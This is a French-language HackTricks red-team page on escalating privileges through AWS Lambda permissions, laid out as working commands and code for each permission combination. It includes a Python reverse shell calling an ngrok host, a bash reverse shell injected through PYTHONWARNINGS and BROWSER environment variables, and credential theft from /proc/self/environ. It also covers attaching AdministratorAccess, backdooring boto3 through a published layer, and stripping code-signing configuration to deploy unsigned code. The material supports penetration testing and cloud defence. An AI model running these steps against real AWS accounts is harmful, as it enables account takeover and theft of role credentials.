AWS - Lambda Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

lambda

Plus d’informations sur lambda dans:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:InvokeFunction peuvent escalader leurs privilĂšges.
Ils peuvent crĂ©er une nouvelle fonction Lambda et lui assigner un rĂŽle IAM existant, accordant Ă  la fonction les permissions associĂ©es Ă  ce rĂŽle. L’utilisateur peut ensuite Ă©crire et tĂ©lĂ©verser du code dans cette fonction Lambda (par exemple un rev shell).
Une fois la fonction configurĂ©e, l’utilisateur peut dĂ©clencher son exĂ©cution et les actions prĂ©vues en invoquant la fonction Lambda via l’API AWS. Cette approche permet donc Ă  l’utilisateur d’effectuer des actions de maniĂšre indirecte via la fonction Lambda, en opĂ©rant avec le niveau d’accĂšs accordĂ© au rĂŽle IAM qui y est associĂ©.\

Un attaquant pourrait abuser de ceci pour obtenir un rev shell et voler le token:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Vous pourriez Ă©galement abuser des permissions du rĂŽle lambda depuis la fonction lambda elle-mĂȘme.
Si le rîle lambda disposait de permissions suffisantes, vous pourriez l’utiliser pour vous accorder des droits d’administrateur :

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Il est aussi possible de leak les credentials du rĂŽle de la lambda sans avoir besoin d’une connexion externe. Ceci est utile pour les Network isolated Lambdas utilisĂ©es pour des tĂąches internes. S’il existe des security groups inconnus filtrant vos reverse shells, ce code vous permettra de leak directement les credentials en sortie de la lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Impact potentiel : privesc direct vers le rÎle de service lambda arbitraire spécifié.

Caution

Notez que mĂȘme si cela peut sembler intĂ©ressant lambda:InvokeAsync ne permet pas Ă  lui seul d’exĂ©cuter aws lambda invoke-async, vous avez aussi besoin de lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Comme dans le scénario précédent, vous pouvez vous accorder la permission lambda:InvokeFunction si vous avez la permission lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Impact potentiel : Privesc direct vers le rÎle de service lambda arbitraire spécifié.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Les utilisateurs disposant des permissions iam:PassRole, lambda:CreateFunction, et lambda:CreateEventSourceMapping (et potentiellement dynamodb:PutItem et dynamodb:CreateTable) peuvent indirectement escalate privileges mĂȘme sans lambda:InvokeFunction.
Ils peuvent créer une fonction Lambda contenant du code malveillant et lui assigner un rÎle IAM existant.

Au lieu d’invoquer la fonction Lambda directement, l’utilisateur configure ou utilise une table DynamoDB existante, la reliant Ă  la Lambda via un event source mapping. Cette configuration garantit que la fonction Lambda est dĂ©clenchĂ©e automatiquement lors de l’ajout d’un nouvel Ă©lĂ©ment dans la table, que ce soit par l’action de l’utilisateur ou par un autre processus, invoquant ainsi indirectement la fonction Lambda et exĂ©cutant le code avec les permissions du rĂŽle IAM passĂ©.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Si DynamoDB est dĂ©jĂ  actif dans l’environnement AWS, l’utilisateur doit uniquement Ă©tablir l’event source mapping pour la fonction Lambda. Cependant, si DynamoDB n’est pas utilisĂ©, l’utilisateur doit crĂ©er une nouvelle table avec le streaming activĂ© :

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Il est maintenant possible de connecter la fonction Lambda à la table DynamoDB en créant un event source mapping :

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Avec la Lambda function liĂ©e au DynamoDB stream, the attacker peut indirectly trigger the Lambda by activating the DynamoDB stream. Cela peut ĂȘtre accompli en inserting an item dans la DynamoDB table:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Impact potentiel : Privesc direct vers le lambda service role spécifié.

lambda:AddPermission

Un attacker disposant de cette permission peut se donner (ou donner Ă  d’autres) n’importe quelles autorisations (cela gĂ©nĂšre resource based policies pour accorder l’accĂšs Ă  la resource) :

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Impact potentiel : Privesc direct vers le rĂŽle de service lambda utilisĂ© en accordant l’autorisation de modifier le code et de l’exĂ©cuter.

lambda:AddLayerVersionPermission

Un attaquant disposant de cette autorisation peut s’accorder (ou accorder Ă  d’autres) l’autorisation lambda:GetLayerVersion. Il pourrait accĂ©der Ă  la layer et rechercher des vulnĂ©rabilitĂ©s ou des informations sensibles

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Potential Impact: AccĂšs potentiel Ă  des informations sensibles.

lambda:UpdateFunctionCode

Les utilisateurs disposant de la permission lambda:UpdateFunctionCode ont la possibilitĂ© de modifier le code d’une existing Lambda function qui est liĂ©e Ă  un IAM role.
L’attaquant peut modifier le code de la lambda pour exfiltrer les IAM credentials.

Bien que l’attaquant puisse ne pas avoir la capacitĂ© directe d’invoquer la fonction, si la Lambda function est prĂ©existante et opĂ©rationnelle, il est probable qu’elle soit dĂ©clenchĂ©e via des workflows ou des Ă©vĂ©nements existants, facilitant ainsi indirectement l’exĂ©cution du code modifiĂ©.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Impact potentiel : Privesc direct vers le lambda service role utilisé.

lambda:UpdateFunctionConfiguration

RCE via variables d’environnement

Avec ces permissions, il est possible d’ajouter des variables d’environnement qui feront exĂ©cuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d’abuser des variables d’environnement PYTHONWARNING et BROWSER pour amener un processus python Ă  exĂ©cuter des commandes arbitraires :

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Pour d’autres langages de script, il existe d’autres variables d’environnement (env variables) que vous pouvez utiliser. Pour plus d’informations, consultez les sous-sections des langages de script dans :

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers permet d’inclure du code dans votre fonction lamdba tout en le stockant sĂ©parĂ©ment, de sorte que le code de la fonction puisse rester petit et que plusieurs fonctions puissent partager ce code.

À l’intĂ©rieur de lambda, vous pouvez vĂ©rifier les chemins depuis lesquels le code python est chargĂ© avec une fonction comme la suivante:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

For example, the library boto3 is loaded from /var/runtime/boto3 (4th position).

Exploitation

It’s possible to abuse the permission lambda:UpdateFunctionConfiguration to add a new layer to a lambda function. To execute arbitrary code this layer need to contain some library that the lambda is going to import. If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is already using a layer and you could download the layer and add your code in there.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

pip3 install -t ./lambda_layer boto3

Vous pouvez ouvrir ./lambda_layer/boto3/__init__.py et ajouter la backdoor dans le code global (une fonction pour exfiltrate credentials ou obtenir un reverse shell, par exemple).

Ensuite, zippez le rĂ©pertoire ./lambda_layer et uploadez le nouveau lambda layer dans votre propre compte (ou dans celui de la victime, mais il se peut que vous n’ayez pas les permissions pour cela).
Notez que vous devez crĂ©er un dossier python et y placer les bibliothĂšques pour override /opt/python/boto3. De plus, le layer doit ĂȘtre compatible avec la version de python utilisĂ©e par la lambda et si vous l’uploadez dans votre compte, il doit ĂȘtre dans la mĂȘme rĂ©gion:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Maintenant, rendez la lambda layer tĂ©lĂ©versĂ©e accessible par n’importe quel compte:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Et attachez le lambda layer Ă  la victim lambda function :

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

L’étape suivante serait soit d’invoquer la fonction nous-mĂȘmes si nous le pouvons, soit d’attendre qu’elle soit invoquĂ©e par des moyens normaux — ce qui est la mĂ©thode la plus sĂ»re.

Une façon plus discrĂšte d’exploiter cette vulnĂ©rabilitĂ© se trouve dans :

AWS - Lambda Layers Persistence

Impact potentiel : Privesc direct sur le rÎle de service lambda utilisé.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Peut-ĂȘtre qu’avec ces permissions vous pouvez crĂ©er une fonction et l’exĂ©cuter en appelant l’URL
 mais je n’ai pas trouvĂ© de moyen de le tester, alors dites-moi si vous y arrivez !

Lambda MitM

Certaines lambdas vont recevoir des informations sensibles des utilisateurs via des paramùtres. Si vous obtenez un RCE dans l’une d’elles, vous pouvez exfiltrer les informations que d’autres utilisateurs lui envoient, regardez dans :

AWS - Lambda Steal Requests

Références

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Contourner la signature de code Lambda

Si une fonction Lambda applique la signature du code, un attaquant qui peut soit supprimer la Code Signing Config (CSC), soit la rĂ©trograder en mode Warn peut dĂ©ployer du code non signĂ© dans la fonction. Cela contourne les protections d’intĂ©gritĂ© sans modifier le rĂŽle IAM de la fonction ni ses triggers.

Permissions (l’une des suivantes) :

  • Voie A : lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Voie B : lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Remarques :

  • Pour la Voie B, vous n’avez pas besoin d’un profil AWS Signer si la politique CSC est rĂ©glĂ©e sur WARN (artefacts non signĂ©s autorisĂ©s).

Étapes (REGION=us-east-1, TARGET_FN=) :

Préparez un petit payload :

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Chemin A) Supprimer CSC puis mettre Ă  jour le code :

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Option B) RĂ©trograder en Warn et mettre Ă  jour le code (si la suppression n’est pas autorisĂ©e):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Compris.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Impact potentiel : PossibilitĂ© de dĂ©ployer et d’exĂ©cuter du code arbitraire non signĂ© dans une fonction qui Ă©tait censĂ©e imposer des dĂ©ploiements signĂ©s, pouvant entraĂźner l’exĂ©cution de code avec les permissions du rĂŽle de la fonction.

Nettoyage :

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks